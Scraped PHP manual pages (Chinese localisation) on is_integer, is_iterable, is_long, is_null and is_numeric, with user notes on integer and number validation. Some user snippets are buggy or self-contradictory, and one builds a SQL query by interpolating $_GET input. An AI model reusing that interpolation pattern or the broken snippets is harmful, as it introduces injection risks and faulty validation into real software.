// true for "1", "1000"
// false for "01", "-1", "1.2"
function isInteger($input){
  return preg_match('@^[1-9][0-9]*$@',$input) === 1;
}
?>
petepostma at gmail dot spam dot com 17-Jul-2012 06:38
There is a versa to the vice of this int only type check.

is_int( $integer_type) will only return true, if the TYPE is int, not the value
ctype_digit( $string_type) will only return true if the TYPE is string, and its value is INT

therefore:
 return ( is_int($value) || ctype_digit($value) );
nicolas dot giraud at actiane dot com 27-Jun-2012 09:24
Just a shorter way to check if your variable is an int or a string containing a int without others digit than 0 to 9 :

<?php
$bool = ( !is_int($value) ? (ctype_digit($value)) : true );

$value = 42; //true
$value = '42'; //true
$value = '1e9'; //false
$value = '0155'; //true
$value = 0155; //true
$value = 0xFF; //true while it's just the same as 255
$value = '0xFF'; //false
$value = 'a'; //false
$value = array(); //false
$value = array('5'); //false
$value = array(5); false
$value = ''; //false
$value = NULL; //false

?>

Short & cool :)
arturs at indigo dot lv 04-May-2012 11:31
Sometime needed check if string containing numbers is integer or not. Then I created this small function:
<?php
function is_integer2($v) {
  $i = intval($v);
  if ("$i" == "$v") {
    return TRUE;
  } else {
    return FALSE;
  }
}
?>
andre dot roesti at 7flex dot net 27-Jul-2010 05:51
With this function you can check if every of multiple variables are int. This is a little more comfortable than writing 'is_int' for every variable you've got.

<?php
function are_int ( ) {
    $args = func_get_args ();
    foreach ( $args as $arg )
        if ( ! is_int ( $arg ) )
            return false;
    return true;
}

// Example:
are_int ( 4, 9 ); // true
are_int ( 22, 08, 'foo' ); // false
?>
Robin 27-Mar-2010 08:22
Keep in mind that is_int() operates in signed fashion, not unsigned, and is limited to the word size of the environment php is running in.

In a 32-bit environment:

<?php
is_int( 2147483647 );           // true
is_int( 2147483648 );           // false
is_int( 9223372036854775807 );  // false
is_int( 9223372036854775808 );  // false
?>

In a 64-bit environment:

<?php
is_int( 2147483647 );           // true
is_int( 2147483648 );           // true
is_int( 9223372036854775807 );  // true
is_int( 9223372036854775808 );  // false
?>

If you find yourself deployed in a 32-bit environment where you are required to deal with numeric confirmation of integers (and integers only) potentially breaching the 32-bit span, you can combine is_int() with is_float() to guarantee a cover of the full, signed 64-bit span:

<?php
$small = 2147483647;         // will always be true for is_int(), but never for is_float()
$big = 9223372036854775807;  // will only be true for is_int() in a 64-bit environment

if( is_int($small) || is_float($small) );  // passes in a 32-bit environment
if( is_int($big) || is_float($big) );      // passes in a 32-bit environment
?>
thierryreeuwijk at hotmail dot com 14-Jan-2010 02:04
If you only want integer values like 23 or 0155, or form/string integer values like "23" or "0155" to be valid, this should work just fine.

<?php

    function int($int){

        // First check if it's a numeric value as either a string or number
        if(is_numeric($int) === TRUE){

            // It's a number, but it has to be an integer
            if((int)$int == $int){

                return TRUE;

            // It's a number, but not an integer, so we fail
            }else{

                return FALSE;
            }

        // Not a number
        }else{

            return FALSE;
        }
    }

    print("155".int(155)."<br>");
    print("15.5".int(15.5)."<br>");
    print("\"155\"".int("155")."<br>");
    print("\"15.5\"".int("15.5")."<br>");
    print("\"0155\"".int("0155")."<br>");
    print("\"I'm 155\"".int("I'm 155")."<br>");
    print("\"test\"".int("test")."<br>");
    print("\"\"".int(""));
?>

The above returns:

155        TRUE
15.5       FALSE
"155"      TRUE
"15.5"     FALSE
"0155"     TRUE
"I'm 155"  FALSE
"test"     FALSE
""         FALSE
me at rexxars dot com 16-Sep-2009 05:23
I was looking for the fastest way to check for an unsigned integer which supported large numbers like 4318943448871348 or 0xFFFFFFFF.

Fastest I came up with is this:
<?php
function is_unsigned_int($val) {
    return ctype_digit((string) $value));
}
?>

Will return true on 1515, 0xFFFFFFFF, '3515' and '1365158185855141'.
Will return false on 0.1515, '415.4134' and '-616'.

Be aware though, before PHP 5.1.0 this will return true on an empty string.

According to my benchmarks this is about 30% faster than the regex ^\d+$.
Roberto Rama 21-Jul-2009 11:39
Use this instead if you wanna know if a string is explicitly a number:

<?php

function isint( $mixed )
{
    return ( preg_match( '/^\d*$/'  , $mixed) == 1 );
}

var_export( isint( '123' ) ); //This will return true

var_export( isint( 123 ) ); //This will return true

var_export( isint( 'asd' ) ); //This will return false

var_export( isint( '123asd123' ) ); //This will return false

?>
e dot sand at elisand dot com 09-Apr-2009 08:27
Simon Neaves was close on explaining why his function is perfect choice for testing for an int (as possibly most people would need).  He made some errors on his ctype_digit() output though - possibly a typo, or maybe a bug in his version of PHP at the time.

The correct output for parts of his examples should be:

<?php
var_dump(ctype_digit(23)); //bool(false)
var_dump(ctype_digit("23")); //bool(true)
var_dump(ctype_digit(23.5)); //bool(false)
var_dump(ctype_digit(NULL)); //bool(false)
var_dump(ctype_digit("")); //bool(false)
?>

As you can see, the reason why using *just* ctype_digit() may not always work is because it only returns TRUE when given a string as input - given a number value and it returns FALSE (which may be unexpected).
leonix at motd dot ru 16-Dec-2008 12:08
another_is_int() is almost perfect, but it treats boolean true as int because
1 == (int) true == (string) true == '1'.

Fixed version:

<?php
/**
 * Checks if the given value represents integer
 */
function int_ok($val)
{
    return ($val !== true) && ((string)(int) $val) === ((string) $val);
}
?>
paulo dot koch at g_mail dot com 17-Oct-2008 12:30
Don't over-engineer it.

<?php
function another_is_int($a){
    return ((string) $a) === ((string)(int) $a);
}
?>
Wryel Covo - ryryel[at]gmail[dot]com 14-Oct-2008 11:53
<?php
function onlyNumbers($string){
    //This function removes all characters other than numbers
    //Esta fun??o limpa a url e conserva apenas os numeros
    $string = preg_replace("/[^0-9]/", "", $string);
    return (int) $string;
}

echo $test = onlyNumbers("as87d68a6db8a7d686dx8a6dx"); //2147483647
echo "<br/>";
echo onlyNumbers("xn89d9x797d9a8x7-"); //899797987
echo "<br/>";
if(is_int($test)){
    echo "Is int ! - é inteiro !"; // This OK !
} else {
    echo "Not int ! - N?o é inteiro";
}
?>
mark at codedesigner dot nl 26-Jun-2008 06:34
updated version from Simon Neaves

<?php
function isInteger($input){
  return preg_match('@^[-]?[0-9]+$@',$input) === 1;
}
?>

this function checks if the string:
- starts with a - sign (optional)
- ends with 1 or more numeric chars
Julien Picalausa 11-May-2008 02:44
To check if a string ($s) is a representation of an integer (including representations is scientific notation and negative numbers), you can use the following test, provided that you don't expect values that are out of bounds for an integer.

is_numeric($s) && floatval($s) == intval(floatval($s))

If the test returns true, the string is a representation of an integer.
is_numeric (if it works as intended) protects from strings that are not proper numbers.
The comparison filters anything that is non_integer

If, for performance reasons, you want to avoid converting to float twice, it can also be written:
is_numeric($s) && ($f = floatval($s)) == intval($f)

If you plan to get values that cannot be representated with an integer and are ready to deal with a float, you can use floor instead of intval, as long as you are ready to deal with floats. Even so, that method will become unreliable when the precision of the float becomes insufficient for getting to the fractional part of the number
Simon Neaves 29-Apr-2008 11:14
I've found that both that is_int and ctype_digit don't behave quite as I'd expect, so I made a simple function called isInteger which does. I hope somebody finds it useful.

<?php
function isInteger($input){
    return(ctype_digit(strval($input)));
}

var_dump(is_int(23)); //bool(true)
var_dump(is_int("23")); //bool(false)
var_dump(is_int(23.5)); //bool(false)
var_dump(is_int(NULL)); //bool(false)
var_dump(is_int("")); //bool(false)

var_dump(ctype_digit(23)); //bool(true)
var_dump(ctype_digit("23")); //bool(false)
var_dump(ctype_digit(23.5)); //bool(false)
var_dump(ctype_digit(NULL)); //bool(false)
var_dump(ctype_digit("")); //bool(true)

var_dump(isInteger(23)); //bool(true)
var_dump(isInteger("23")); //bool(true)
var_dump(isInteger(23.5)); //bool(false)
var_dump(isInteger(NULL)); //bool(false)
var_dump(isInteger("")); //bool(false)
?>
qlimmax at gmail dot com 07-Apr-2008 10:58
function is_natural($natural,$zero=true)
{
if(ctype_digit($natural))
{
    if($zero)
    {
        $natural_test=(int)$natural;
        if((string)$natural_test !== $natural) return false;
        else return true;
    }
    else return true;
}
else return false;
}

true for ("0","1","2","3",...) false for("-1","01","adS","#@!$%^&*-...","0.7","0,7", "0x12",...)
if $zero=false
true for("0","00","1","01",...) false("-1","#@!$%^&*-...","adS","0.7","0,7", "0x12",...)
tudor at tudorholton dot com 04-Jul-2007 06:27
Please note this from the Integer datatype page:

"The size of an integer is platform-dependent, although a maximum value of about two billion is the usual value (that's 32 bits signed). PHP does not support unsigned integers. Integer size can be determined from PHP_INT_SIZE, maximum value from PHP_INT_MAX since PHP 4.4.0 and PHP 5.0.5."

This is particularly important if you are doing validation of large keys or any number larger than 2,000,000,000 (e.g. telephone numbers)
Ender at soldat dot nl 16-Feb-2006 03:38
Be aware that is_numeric (mentioned in this article as the proper way to validate string numbers) also allows numbers in scientific and hexadecimal annotation. Thus DO NOT USE that function to validate user input that will be used as id number for in a query for example, this could cause mysql errors. Use ctype_digit instead.
ludvig dot ericson at gmail dot com 06-Jan-2006 01:00
I would like to say that is_int() is pretty helpfull when looking for neat proper ways to check functions that return either integers or booleans (false) on failure (strpos, socket_select, etc.)
<?php
function mySelect() {
    global $someSockets;
    $ret = socket_select($someSockets, $o = array(), $e = array(), 0);
    if (!$ret)
        return is_int($ret);
    /* FURTHER PROCESSING HERE */
    return true;    // Return true if the function proceeded as expected.
}
?>
The point of doing this is that if you put this in a while() loopo, you'll break it when the select fails.
<?php
while (mySelect());
?>

Hope you get the point
 - toxik
lclkk at urbanvagabond dot net 15-Sep-2003 07:24
I think the function below is a robust test for integers working on all datatypes. It works by first checking that a number can be evaluated numerically, and then secondly that the integer evaluation matches the original number.

Test cases are included.

<?
function myIsInt ($x) {
    return (is_numeric($x) ? intval($x) == $x : false);
}

function Test($x) {
    echo "$x is " . ( myIsInt($x) ? ('an integer. The integer value is ' . intval($x)) : 'not an integer.');
    echo "\n";
}

echo "These should be integers...\n";
Test(1);
Test(5);
Test(10);
Test(10.0);
Test(20.0);
Test(-20.0);
Test(0+4+4.5+4.5);
Test("10.0");
Test("+14");
Test("-15");
Test("0");

echo "\nThese should not be integers...\n";
Test(true); // watch out, this displays as '1'
Test(false);
Test("moose");
Test("3.5");
Test("-214235.5");
Test(""); // empty string
Test(array(1,2,3));
Test(dir('.')); // object
Test(null);
?>
gabe at websaviour dot com 14-Jul-2003 11:08
Although this can be inferred from the documentation, beware of numeric strings.  I ran into the problem in a MySQL app where I would either SELECT an INT PRIMARY KEY or INSERT a new record and use mysql_insert_id() to get the KEY before continuing onto the new section.

I used is_int() to make sure the subsequent queries wouldn't break when using the key variable.  Unfortunately I failed to realize that while mysql_insert_id() returns an int, mysql_result() always returns a string even if you are SELECTing from an INT field.

Spent at least 30 minutes trying to figure out why existing records weren't getting linked, but new records would link fine.  I ended up using intval() on mysql_result() to make sure subsequent queries still always work.


is_int 的别名

  • ? is_int
  • is_iterable ?
  • PHP Manual
  • Variable handling 函数
  • is_int 的别名

is_integer

(PHP 4, PHP 5, PHP 7)

is_integer — is_int() 的别名

描述

此函数是 is_int() 的别名函数。

User Contributed Notes

ru dot mahmoud at mail dot ru 17-Jan-2019 08:05
using function :

if(is_integer($_POST[mobile_number])){
 return true; //// 0-9
}else{
 echo "Wrong number";
return false;
}
gldbrzent at gmail dot com 24-Sep-2017 07:37
There are two different functions.  But, the reason why is beyond the scope of this article!
being dot juan at icloud dot com 26-Jul-2017 05:07
There is no difference, per se. is_integer() is an alias of is_int().
topor-grabowski at anwalt dot de 19-Jul-2017 09:47
Could someone explain me, why there are 2 different functions:
is_int and is_integer?


Verify that the contents of a variable is an iterable value

  • ? is_integer
  • is_long ?
  • PHP Manual
  • Variable handling 函数
  • Verify that the contents of a variable is an iterable value

is_iterable

(PHP 7 >= 7.1.0)

is_iterable — Verify that the contents of a variable is an iterable value

说明

is_iterable ( mixed $var ) : bool

Verify that the contents of a variable is accepted by the iterable pseudo-type, i.e. that it is either an array or an object implementing Traversable

参数

var

The value to check

返回值

Returns TRUE if var is iterable, FALSE otherwise.

范例

Example #1 is_iterable() examples

<?php

var_dump(is_iterable([1, 2, 3]));  // bool(true)
var_dump(is_iterable(new ArrayIterator([1, 2, 3])));  // bool(true)
var_dump(is_iterable((function () { yield 1; })()));  // bool(true)
var_dump(is_iterable(1));  // bool(false)
var_dump(is_iterable(new stdClass()));  // bool(false)

?>

参见

  • is_array() - 检测变量是否是数组

User Contributed Notes

mopsyd at me dot com 01-Apr-2018 04:24
A slight correction to brcontainer's polyfill, which prevents errors on a non-object in a non-blocking way, and also corrects the issue of  the conditional checking "file_exists" instead of the correct "function_exists":

if ( !function_exists(  'is_iterable' ) )
{

    function is_iterable( $obj )
    {
        return is_array( $obj ) || ( is_object( $obj ) && ( $obj instanceof \Traversable ) );
    }

}

The original answer would not have resolved correctly, because it was looking for a file instead of a function, and the provided method would error if given a non-iterable non-object value such as false.
brcontainer at yahoo dot com dot br 09-Mar-2018 08:35
Polyfill for PHP5.6 and PHP7.0

    if (!file_exists('is_iterable')) {
        function is_iterable($obj)
        {
            return is_array($obj) || $obj instanceof \Traversable;
        }
    }
anatoly dot pashin at gmail dot com 01-Feb-2018 07:02
Here is more details on iterable type: http://php.net/manual/en/language.types.iterable.php


is_int 的别名

  • ? is_iterable
  • is_null ?
  • PHP Manual
  • Variable handling 函数
  • is_int 的别名

is_long

(PHP 4, PHP 5, PHP 7)

is_long — is_int() 的别名

描述

此函数是 is_int() 的别名函数。

User Contributed Notes

There are no user contributed notes for this page.


检测变量是否为 NULL

  • ? is_long
  • is_numeric ?
  • PHP Manual
  • Variable handling 函数
  • 检测变量是否为 NULL

is_null

(PHP 4 >= 4.0.4, PHP 5, PHP 7)

is_null — 检测变量是否为 NULL

描述

is_null ( mixed $var ) : bool

如果 var 是 null 则返回 TRUE，否则返回 FALSE。

查看 NULL 类型获知变量什么时候被认为是 NULL，而什么时候不是。

参见 NULL、is_bool()、is_numeric()、is_float()、is_int()、is_string()、is_object()、is_array()、is_integer() 和 is_real()。

User Contributed Notes

contact dot 01834e2c at renegade334 dot me dot uk 25-May-2015 06:57
In PHP 7 (phpng), is_null is actually marginally faster than ===, although the performance difference between the two is far smaller.

PHP 5.5.9
is_null - float(2.2381200790405)
===     - float(1.0024659633636)
=== faster by ~100ns per call

PHP 7.0.0-dev (built: May 19 2015 10:16:06)
is_null - float(1.4121870994568)
===     - float(1.4577329158783)
is_null faster by ~5ns per call
normadize (a) gmail (d) com 07-Jul-2012 10:08
Using === NULL instead of is_null(), is actually useful in loaded server scenarios where you have hundreds or thousands of requests per second. Saving microseconds on a lot of "simple" operations in the entire PHP execution chain usually results in being able to serve more pages per second at the same speed, or lowering your cpu usage. People usually write very bad and slow code.
george at fauxpanels dot com 01-Dec-2008 01:58
See how php parses different values. $var is the variable.

$var        =    NULL    ""    0    "0"    1

strlen($var)    =    0    0    1    1    1
is_null($var)    =    TRUE    FALSE    FALSE    FALSE    FALSE
$var == ""    =    TRUE    TRUE    TRUE    FALSE    FALSE
!$var        =    TRUE    TRUE    TRUE    TRUE    FALSE
!is_null($var)    =    FALSE    TRUE    TRUE    TRUE    TRUE
$var != ""    =    FALSE    FALSE    FALSE    TRUE    TRUE
$var        =    FALSE    FALSE    FALSE    FALSE    TRUE

Peace!
Malfist 01-Jul-2008 07:54
Micro optimization isn't worth it.

You had to do it ten million times to notice a difference, a little more than 2 seconds

$a===NULL; Took: 1.2424390316s
 is_null($a); Took: 3.70693397522s

difference = 2.46449494362
difference/10,000,000 = 0.000000246449494362

The execution time difference between ===NULL and is_null is less than 250 nanoseconds. Go optimize something that matters.
strrev xc.noxeh@ellij 03-Jun-2008 05:42
$var===NULL is much faster than is_null($var) (with the same result)

I did some benchmarking with 10 million iterations:

$a=null;
 isset($a); Took: 1.71841216087s
 $a==NULL; Took: 1.27205181122s
 $a===NULL; Took: 1.2424390316s
 is_null($a); Took: 3.70693397522s
$a=5;
 isset($a); Took: 1.15165400505s
 $a==NULL; Took: 1.41901302338s
 $a===NULL; Took: 1.21655392647s
 is_null($a); Took: 3.78501200676s
error_reporting(E_ALL&~E_NOTICE);
unset($a);
 isset($a); Took: 1.51441502571s
 $a==NULL; Took: 16.5414860249s
 $a===NULL; Took: 16.1273870468s
 is_null($a); Took: 23.1918480396s

Please note, that isset is only included because it gives a good performance in any case; HOWEVER isset is NOT the same, or the opposite.
But you might be able to use isset() instead of null-checking.

You should not use is_null, except when you need a callback-function, or for conformity with is_int, is_float, etc.
ai dot unstmann at combase dot de 14-Jan-2008 12:17
For what I realized is that  is_null($var)  returns exactly the opposite of  isset($var) , except that is_null($var) throws a notice if $var hasn't been set yet.

the following will prove that:

<?php

$quirks = array(null, true, false, 0, 1, '', "\0", "unset");

foreach($quirks as $var) {
    if ($var === "unset") unset($var);

    echo is_null($var) ? 1 : 0;
    echo isset($var) ? 1 : 0;
    echo "\n";
}

?>

this will print out something like:

10    // null
01    // true
01    // false
01    // 0
01    // 1
01    // ''
01    // "\0"
Notice:  Undefined variable: var in /srv/www/htdocs/sandbox/null/nulltest.php on line 8
10    // (unset)

For the major quirky types/values is_null($var) obviously always returns the opposite of isset($var), and the notice clearly points out the faulty line with the is_null() statement. You might want to examine the return value of those functions in detail, but since both are specified to return boolean types there should be no doubt.

A second look into the PHP specs tells that is_null() checks whether a value is null or not. So, you may pass any VALUE to it, eg. the result of a function.
isset() on the other hand is supposed to check for a VARIABLE's existence, which makes it a language construct rather than a function. Its sole porpuse lies in that checking. Passing anything else will result in an error.

Knowing that, allows us to draw the following unlikely conclusion:

isset() as a language construct is way faster, more reliable and powerful than is_null() and should be prefered over is_null(), except for when you're directly passing a function's result, which is considered bad programming practice anyways.
michael at cannonbose dot com 30-Dec-2003 09:42
Regarding avoidance of NULLs in your MySQL queries, why not use  IS NULL and IS NOT NULL in your WHERE clauses.

SELECT *
FROM someDatabase
WHERE someAttribute IS NOT NULL

Cheers,

Michael
uioreanu at hotmail dot com 23-Mar-2001 06:36
Don't try to test
if ($intSomething==NULL) {
 ...
}
use is_null() instead.
The first statement misses 0 values.

Regards,
Calin

[Ed. note: this is because == tests for equivalence of value, but not type. NULL evaluates to
false, as does 0, so NULL == 0 is true--even though 0 is type int and NULL is type null.
You should use either is_null() as noted or ===, which returns true only if its operands are
equal and of the same type.]


检测变量是否为数字或数字字符串

  • ? is_null
  • is_object ?
  • PHP Manual
  • Variable handling 函数
  • 检测变量是否为数字或数字字符串

is_numeric

(PHP 4, PHP 5, PHP 7)

is_numeric — 检测变量是否为数字或数字字符串

描述

is_numeric ( mixed $var ) : bool

如果 var 是数字和数字字符串则返回 TRUE，否则返回 FALSE。

参见 is_bool()、is_float()、is_int()、is_string()、is_object()、is_array() 和 is_integer()。

User Contributed Notes

sandreas 21-Feb-2019 10:48
Note that strings with leading zeros containing only digits also return true on check with is_numeric, although they might be not a valid number. Example:

<?php
$x = 009; // this is invalid php code, 009 is not octal
$y = 007; // this is valid php code, 007 is octal
$z = 01.12; // this also is valid php code

var_dump(is_numeric("009")); // outputs true
var_dump(is_numeric("007")); // outputs true
var_dump(is_numeric("00.12")); // outputs true
?>
Ray.Paseur sometimes uses Gmail 19-Dec-2018 08:50
intval() appears to be helpful with hex strings:

<?php // is_hex_numeric.php
/**
 * PHP 7.0.0+ Strings in hexadecimal (e.g. 0xf4c3b00c) notation
 * are no longer regarded as numeric strings, i.e. is_numeric() returns FALSE now.
 * See: http://php.net/manual/en/function.intval.php
 */
error_reporting(E_ALL);

var_dump( PHP_VERSION );              // string(6) "7.1.25"
var_dump( PHP_INT_SIZE );             // int(8)

$x = 0xf4c3b00c;                      // --> Assignment of hex value
var_dump($x);                         // int(4106465292)
var_dump( is_numeric($x) );           // bool(true)

$y = '0x' . dechex($x);               // --> Convert hex value to a string
var_dump($y);                         // string(10) "0xf4c3b00c"
var_dump( is_numeric($y) );           // bool(false)

$z = intval($y, 0);                   // --> intval() with base zero recognizes hex notation
var_dump($z);                         // int(4106465292)
var_dump( is_numeric($z) );           // bool(true)
var_dump($x == $z);                   // bool(true)
phil at kiwilimon dot com 07-May-2018 04:43
There is another not documented big difference between PHP 5 and PHP 7:
is_numeric("45 "); // with a space at the end
will return true on PHP 5 and false on PHP 7
za at byza dot it 26-Sep-2017 02:21
To check if a numeric string is a valid integer or float number:

function is_valid_number($a) {
   return $a==(float)$a && strlen($a)==strlen((float)$a);
}

This returns false for "0012345" and true for "0.12345"
cottton 05-Feb-2017 02:20
As of http://php.net/manual/de/function.is-numeric.php#111709
' 12345' is considered numeric.

BUT '12345 ' NOT.

Test:
<?php
foreach (
    [
        ' 12345',
        '12345 ',
        ' 12345 ',
    ] as $value

) {
    echo "'{$value}'\t" . var_export(is_numeric($value), true) . PHP_EOL;
}
/**
 * Output:
 *
 *  ' 12345'        true
 *  '12345 '        false
 *  ' 12345 '       false
 */
?>
tanguy_barsik at hotmail dot com 03-Feb-2017 03:22
for strings, it return true only if float number has a dot

is_numeric( '42.1' )//true
is_numeric( '42,1' )//false
Vasiliy Makogon 08-Apr-2016 08:22
If you want detect integer of float values, which presents as pure int or float, and presents as string values, use this functions:

<?php
function isInteger($val)
{
    if (!is_scalar($val) || is_bool($val)) {
        return false;
    }
    if (is_float($val + 0) && ($val + 0) > PHP_INT_MAX) {
        return false;
    }
    return is_float($val) ? false : preg_match('~^((?:\+|-)?[0-9]+)$~', $val);
}

function isFloat($val)
{
    if (!is_scalar($val)) {
        return false;
    }
    return is_float($val + 0);
}

foreach ([
    '11111111111111111', 11111111111111111, // > PHP_INT_MAX - presents in PHP as float
    1, '10', '+1', '1.1', 1.1, .2, 2., '.2', '2.',
    '-2.', '-.2', null, [], true, false, 'string'
] as $value) {
    echo $value . ':' . gettype($value) . ' is Integer? - '  . (isInteger($value) ? 'yes' : 'no') . PHP_EOL;
    echo $value . ':' . gettype($value) . ' is Float? - '  . (isFloat($value) ? 'yes' : 'no') . PHP_EOL;
}
?>

Output:

11111111111111111:string is Integer? - no
11111111111111111:string is Float? - yes
1,1111111111111E+16:double is Integer? - no
1,1111111111111E+16:double is Float? - yes
1:integer is Integer? - yes
1:integer is Float? - no
10:string is Integer? - yes
10:string is Float? - no
+1:string is Integer? - yes
+1:string is Float? - no
1.1:string is Integer? - no
1.1:string is Float? - yes
1,1:double is Integer? - no
1,1:double is Float? - yes
0,2:double is Integer? - no
0,2:double is Float? - yes
2:double is Integer? - no
2:double is Float? - yes
.2:string is Integer? - no
.2:string is Float? - yes
2.:string is Integer? - no
2.:string is Float? - yes
-2.:string is Integer? - no
-2.:string is Float? - yes
-.2:string is Integer? - no
-.2:string is Float? - yes
:NULL is Integer? - no
:NULL is Float? - no
Array:array is Integer? - no
Array:array is Float? - no
1:boolean is Integer? - no
1:boolean is Float? - no
:boolean is Integer? - no
:boolean is Float? - no
string:string is Integer? - no
string:string is Float? - no
vikramverma214 at gmail dot com 26-Dec-2015 06:24
check if given string is mobile number

function filterNumber($str)
        {
            //remove non number
            $count = strlen($str);
            $newNumber = "";
            for($i = 0; $i<$count; $i++)
            {
                if(is_numeric($str[$i]))
                    $newNumber .= $str[$i];
            }

            //removes leading 0s
            $newNumber = ltrim($newNumber, '0');

            //remove 91 in starting, 91 is specific to Indian Numbers
            if(strlen($newNumber) == 12)
            {
                if(substr($newNumber, 0, 2) == '91')
                    $newNumber = substr($newNumber, 2);
            }

            //final check for length 10
            if(strlen($newNumber) != 10 )
                return null;
            else
                return $newNumber;
        }
lihatskiym at gmail dot com 30-Sep-2015 11:26
Check that value is whole numeric or is whole integer.
<?php
function whole_numeric($val)
{
    if (is_numeric($val)
        && floor($val) == $val)
    {
        if ((string)$val === (string)0)
            return true;
        elseif(ltrim((string)$val, '0') === (string)$val)
            return true;
    }

    return false;
}

function whole_int($val)
{
    $val = strval($val);
    $val = str_replace('-', '', $val);

    if (ctype_digit($val))
    {
        if ($val === (string)0)
            return true;
        elseif(ltrim($val, '0') === $val)
            return true;
    }

    return false;
}
?>

Result will be like this:

<?php
whole_numeric('-1.0');  // true
whole_numeric(0);        // true
whole_numeric('0');      // true
whole_numeric('00');     // false
whole_numeric(1);        // true
whole_numeric('1');      // true
whole_numeric('1.0');    // true
whole_numeric('1,0');    // false
whole_numeric('1.2');    // false
whole_numeric('001');    // false
whole_numeric(array()); // false

whole_int('-1.0');    // false
whole_int('-1');       // true
whole_int(0);          // true
whole_int('0');        // true
whole_int('00');      // false
whole_int(1);          // true
whole_int('1');         // true
whole_int('1.0');      // false
whole_int('1.2');      // false
whole_int('001');     // false
whole_int(array()); // false
?>
Tim Robert-Fitzgerald 26-Jun-2015 11:17
Be careful when using `is_numeric()` to validate user input and protect against SQL injection. According to wiki.hashphp.org,

"Many people reach for is_numeric() thinking this is a good approach, and it will seem to work just fine. However the problem with is_numeric() isn't that it can't detect an integer, it is that it detects a lot more than just integers. All of the following are valid numbers to is_numeric():

- 1
- 1.123
- 0xFF
- +0123.45e6

See the problem? If we really want just an integer, this function is too broad."

Source: http://wiki.hashphp.org/Validation#Why_is_numeric.28.29_is_bad
charlike dot mike at mail dot bg 03-Feb-2014 04:24
I think that is best check solution if u want to create real calculator for example :)

<?php
function is_number($var)
{
    if ($var == (string) (float) $var) {
        return (bool) is_numeric($var);
    }
    if ($var >= 0 && is_string($var) && !is_float($var)) {
        return (bool) ctype_digit($var);
    }
    return (bool) is_numeric($var);
}

is_number(12); // true
is_number(-12); // true
is_number(-12.2); // true
is_number("12"); // true
is_number("-124.3"); // true
is_number(0.8); // true
is_number("0.8"); // true
is_number(0); // true
is_number("0"); // true
is_number(NULL); // false
is_number(true); // false
is_number(false); // false
is_number("324jdas32"); // false
is_number("123-"); // false
is_number(1e7); // true
is_number("1e7"); // true
is_number(0x155); // true
is_number("0x155"); // false
?>
ben at chico dot com 07-Jan-2014 11:20
Apparently NAN (Not A Number) is a number for the sake of is_numeric().

<?php
echo "is ";
if (!is_numeric(NAN))
 echo "not ";
 echo "a number";
?>

Outputs "is a number". So something that is NOT a number (by defintion) is a number...
jsnell at e-normous dot com 19-Mar-2013 09:38
Note that this function handles leading spaces differently than is_int(), is_float(), is_real(), is_long(), and is_double().

is_numeric(" 12345") = true
is_int(" 12345") = false
is_float(" 12345") = false
is_real(" 12345") = false
is_long(" 12345") = false
is_double(" 12345") = false
jeffvanhees at gmail dot com 19-Jun-2012 05:20
Function for checking all the values in an array for being numeric:

<?php
function is_numeric_array($array) {
    foreach ($array as $key => $value) {
        if (!is_numeric($value)) return false;
    }
    return true;
}

$array_not_numeric = array('1', '2', 3, 'a'); // returns false
$array_numeric = array('1', '2', 3, 4); // returns true
?>
dave dot marr at gmail dot com 31-Jan-2012 04:30
If you want the numerical value of a string, this will return a float or int value:

<?php
function get_numeric($val) {
  if (is_numeric($val)) {
    return $val + 0;
  }
  return 0;
}
?>

Example:
<?php
get_numeric('3'); // int(3)
get_numeric('1.2'); // float(1.2)
get_numeric('3.0'); // float(3)
?>
akam at akameng dor com 22-Jan-2012 09:22
<?php
$d = @$_GET['d'];

/*
assuming that passing value of d in the mysql
$sql = "select * from books where bookid = '$d' "
*/

/*
now check if $d is numeric?
*/

if(!is_numeric($d)){
 $d = preg_replace("/[^0-9]+/", "", $d);
}
echo "Cleared value: $d \n<br />Original Vlaue:".@$_GET['d'];
//then using clear value of $d in the mysql query
$sql = "select * from books where bookid = '$d' ";
?>
Example:
?d=52;d;s;s'2233l'[[22

Outpt:

Cleared value: 52223322
Original Vlaue:52;d;s;s'2233l'[[22
sobolanx at gmail dot com 22-Jan-2011 03:55
Note that the function accepts extremely big numbers and correctly evaluates them.

For example:

<?php
    $v = is_numeric ('58635272821786587286382824657568871098287278276543219876543') ? true : false;

    var_dump ($v);
?>

The above script will output:

bool(true)

So this function is not intimidated by super-big numbers. I hope this helps someone.

PS: Also note that if you write is_numeric (45thg), this will generate a parse error (since the parameter is not enclosed between apostrophes or double quotes). Keep this in mind when you use this function.
Martyn Ranyard 10-Jan-2011 04:14
The documentation does not clarify what happens if you the input is an empty string - it correctly returns false in my experience.  Useful to state these odd cases, for when you see code that checks for an empty string and is_numeric, you can tell it's a waste of a comparison.
Nitrogen 11-Sep-2010 10:40
I find it a little weird that people are having issues with ordinal numbers, it's pretty easy..
Notes are in the commenting, check out the example outputs.

<?php

function ordinal($i='') {
  // a temporary value we can change, and keep the original value.
  $o=$i;

  // suffixes = 0th, 1st, 2nd, third == zeroth, first, second, third
  $s=array('th','st','nd','rd');

  // if input just so happens to be a string, we check to make sure it
  // still holds a numeric value and only acquire the last 2 numbers.
  // if it's not a string, nor an integer, we freak out and say no.
  if(!is_int($o))
    if(ctype_digit($o))
      $o=(int)substr($o,-2,2);
    else
      return(false);

  // basically, if $o is between 11 and 19, we use 'th'
  // otherwise we use the last digit and if it's over
  // 4 then we use 0 (for the $s array index).
  return($i.$s[($o%100>10&&$o%100<20)?0:($o%10<4?$o%10:0)]);
}

var_dump(ordinal(5));

/* Example Outputs of ordinal():
  0th, 1st, 2nd, 3rd, 4th, ..., 9th,
  10th, 11th, 12th, 13th, 14th, ..., 19th,
  110th, 111th, ..., 199th, 200th, 201st.

  ordinal('-1'); returns false because ctype_digit hates anything that
  isn't strictly 0 through 9 and '-' trips it to false.

  ordinal('asdf'); returns false for the exact same reason.

  ordinal(); returns false because it's blank.

  signed integers on a 32-bit system (and the same issue on a 64-bit
  system using 0x7FFFFFFFFFFFFFFF because of two's compliment,
  anything higher will become a negative number):
  ordinal(0x7FFFFFFF  ); returns 2147483647th (which is correct)
  ordinal(0x7FFFFFFF+1); returns false.
*/

?>
Kiam 23-Jul-2009 11:02
empty(trim($test, '+-.,0123456789')) doesn't assure you $test contains a number. It returns TRUE also for a string containing ".+1234.56", which is not a valid number.
codeslinger at compsalot dot com 15-Jul-2009 01:34
if speed is important, the liberal use of regex should be avoided, especially complex ones like those here.

For most purposes, this will be sufficient and has the advantages of both speed and clarity.

$BoolResult = empty(trim($Test, '+-.,0123456789'));

If the $Test contains any character that is not a valid part of a number the remaining string will not be empty.

